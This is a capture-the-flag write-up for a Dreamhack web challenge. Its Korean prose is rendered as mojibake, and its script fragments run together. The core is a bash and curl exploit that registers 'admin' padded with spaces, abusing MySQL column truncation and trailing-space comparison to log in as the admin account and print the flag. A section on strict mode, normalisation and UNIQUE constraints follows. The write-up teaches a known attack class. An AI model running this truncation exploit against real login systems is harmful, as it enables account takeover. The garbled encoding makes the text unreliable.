echo "[1] ํฌ๋ํํธ id = 'admin' + ๊ณต๋ฐฑ250 + '1' (์ด ${#PAD}์)"
echo " โ ์ค๋ณต์ฒดํฌ WHERE id='admin...1' ๋ ๊ธฐ์กด 'admin' ๊ณผ ๋ถ์ผ์น(๋์ 1) โ ํต๊ณผ"
echo " โ INSERT ์ id ์ปฌ๋ผ ๊ธธ์ด๋ก ์๋ฆผ โ ์ ์ฅ๊ฐ = 'admin' + ๊ณต๋ฐฑ ('1' ์๋ฆผ)"
R1=$(curl -s -m 25 -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345')
echo " ๊ฐ์
๊ฒฐ๊ณผ: $(echo "$R1" | grep -oE "window.location='./';|is exist" | head -1)"
echo
echo "[2] MySQL ์ trailing space ๋ฌด์๋น๊ต โ 'admin ' = 'admin'"
echo " login id=admin ps=pwn12345 โ ํฌ๋ํํธํ ํ์ด ๋งค์นญ๋์ด admin ์ผ๋ก ๋ก๊ทธ์ธ"
R2=$(curl -s -m 25 -c "$JAR" -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345')
echo
echo "[3] admin ๊ณ์ ์ฒซ ํธ์์ ํ๋๊ทธ:"
echo "$R2" | grep -oE 'flag is DH\{[^}]*\}'
rm -f "$JAR"bash cap_exploit.sh
BASE="http://host3.dreamhack.games:PORT"
# โ admin + ๊ณต๋ฐฑ 250 + '1' ๋ก ๊ฐ์
(์ค๋ณต์ฒดํฌ๋ ๋์ '1' ๋๋ฌธ์ ํต๊ณผ, ์ ์ฅ ์ varchar(32) ๋ก ์๋ฆผ)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')")
curl -s -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345'
# โก admin ์ผ๋ก ๋ก๊ทธ์ธ โ PADSPACE ๋น๊ต๋ก ๋ด๊ฐ ๋ง๋ ํ์ด ๋งค์นญ
curl -s -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345' \
| grep -oE 'flag is DH\{[^}]*\}'
# flag is DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}๋ธ๋ผ์ฐ์ ์์ ๊ฐ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํด๋ ๊ทธ๋๋ก admin ํ์๋ผ์ธ์ด ์ด๋ฆฌ๊ณ , ์ฒซ ํธ์์ ํ๋๊ทธ๊ฐ ๊ฑธ๋ ค ์๋ค. ์ฐ์ธก ์๋จ ํ๋กํ์ด admin ์ผ๋ก ์ฐํ ๊ฒ๊น์ง ํ์ธํ๋ค.

ํ๋๊ทธ: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}
๐ ๊ฒฐ๋ก โ ๋ฌธ์์ด์ ์ ์ฅยท๋น๊ต ๊ฒฝ๊ณ๋ ๋ ๊ณต๊ฒฉ ํ๋ฉด
ํ ์ค์ง๋ฆฌ ์ธ์ฆ ๋ก์ง์ด ๋ฌด๋์ง ์์ธ์ ํ๋๊ฐ ์๋๋ผ ์ธ ๊ฐ์ ํ์ด ๊ฒน์น ๊ฒ์ด๋ค. ๊ฐ๊ฐ์ ์ง์ด ๋ณธ๋ค.
์ค๋ณต ์ฒดํฌ์ ์ค์ ์ ์ฅ์ ๊ท์น์ด ์ด๊ธ๋ฌ๋ค.
์ค๋ณต ์ฒดํฌ๋ "์ ๋ ฅ ๋ฌธ์์ด๊ณผ ์ ํํ ์ผ์น" ๋ฅผ ๋ดค๋๋ฐ, ์ค์ ์ ์ฅ์ "๊ธธ์ด ์ด๊ณผ๋ถ ์๋ผ๋ด๊ธฐ + ๋ ๊ณต๋ฐฑ ๋ฌด์ ๋น๊ต" ์๋ค. ๊ฒ์ฆํ๋ ๊ฐ๊ณผ ์ ์ฅยท๋น๊ต๋๋ ๊ฐ์ด ์๋ก ๋ค๋ฅธ ๊ท์น์ ๋ฐ๋ฅด๋ฉด, ๊ทธ ์ฌ์ด์ ๋ฐ๋์ ์ฐํ ๊ฐ๋ฅํ ํ์ด ์๊ธด๋ค. ๊ฒ์ฆ์ ์ ์ฅ๋ ์ต์ข ํํ(์ ๊ทํยท์ ๋จ ํ)๋ฅผ ๊ธฐ์ค์ผ๋ก ํด์ผ ํ๋ค.
MySQL ์ strict ๋ชจ๋๋ก ์ด์ํด์ผ ํ๋ค.
๋น์๊ฒฉ ๋ชจ๋๋ ์ปฌ๋ผ ๊ธธ์ด๋ฅผ ์ด๊ณผํ๋ INSERT ๋ฅผ ์กฐ์ฉํ ์๋ผ ์ ์ฅํ๋ค. sql_mode ์ STRICT_ALL_TABLES(๋๋ STRICT_TRANS_TABLES)๋ฅผ ์ผ๋ฉด ์ด๋ฐ ์
๋ ฅ์ด ๊ฒฝ๊ณ ๊ฐ ์๋๋ผ ์๋ฌ๋ก ๊ฑฐ๋ถ๋์ด, ํธ๋ ์ผ์ด์
๊ณต๊ฒฉ ์์ฒด๊ฐ ์ฑ๋ฆฝํ์ง ์๋๋ค. ์์ฆ MariaDB ๋ ๊ธฐ๋ณธ์ด strict ์ง๋ง, ์ค๋๋ ์คํ์ด๋ ๋ช
์์ ์ผ๋ก ๋ ํ๊ฒฝ์์๋ ์ฌ์ ํ ์ทจ์ฝํ๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์์ ๊ธธ์ดยท์ ๊ทํ๋ฅผ ๊ฐ์ ํด์ผ ํ๋ค.
ํด๋ผ์ด์ธํธ์ maxlength ๋ curl ํ ๋ฒ์ด๋ฉด ์ฐํ๋๋ค. ์๋ฒ์์ ์
๋ ฅ ๊ธธ์ด๋ฅผ ์ปฌ๋ผ ๊ธธ์ด ์ดํ๋ก ๊ฒ์ฆํ๊ณ , ์ ์ฅ ์ ์ TRIM() ๋ฑ์ผ๋ก ์ ๊ทํํ๋ฉด admin ๊ณผ admin ์ด ๊ฐ์ ๊ฐ์ผ๋ก ์ทจ๊ธ๋์ด ์ ์ด์ ์ด์ค ๋ฑ๋ก์ด ๋ถ๊ฐ๋ฅํด์ง๋ค. id ์ปฌ๋ผ์ UNIQUE ์ ์ฝ์ ๊ฑธ์ด ๋๋ ๊ฒ๋ ์ด์ค ๋ฐฉ์ด๊ฐ ๋๋ค.
์ผ๋ฐํํ๋ฉด, ๋ฌธ์์ด์ "์ ์ฅ ํํ"์ "๋น๊ต ๊ท์น"์ด ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฐ์ ๊ณผ ์ด๊ธ๋๋ ์๊ฐ์ด ๊ณต๊ฒฉ ํ๋ฉด์ด๋ค. ์ด ๋ฌธ์ ์ PADSPACEยทํธ๋ ์ผ์ด์
๋ง๊ณ ๋, ์ ๋์ฝ๋ ์ ๊ทํ(๏ฌ โ fi), ๋์๋ฌธ์ ์ฝ๋ ์ด์
, null ๋ฐ์ดํธ ์ ๋จ, ์ค๋ฒ๋กฑ ์ธ์ฝ๋ฉ ๋ฑ "๊ฐ์ ๋ณด์ด์ง๋ง ๋ค๋ฅธ / ๋ฌ๋ผ ๋ณด์ด์ง๋ง ๊ฐ์" ๋ฌธ์์ด์ ์ธ์ฆ ์ฐํ์ ๋จ๊ณจ ์์ฌ๋ค. ์ธ์ฆยท๊ถํ์ฒ๋ผ ๋์ผ์ฑ ํ๋จ์ด ์ค์ํ ๊ณณ์์๋ ์
๋ ฅ์ ๋จผ์ ์ ๊ทํํ๊ณ , ๊ทธ ์ ๊ทํ๋ ๊ฐ์ผ๋ก ๊ฒ์ฆยท์ ์ฅยท๋น๊ต๋ฅผ ์ผ๊ด๋๊ฒ ํด์ผ ํ๋ค.
FLAG: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ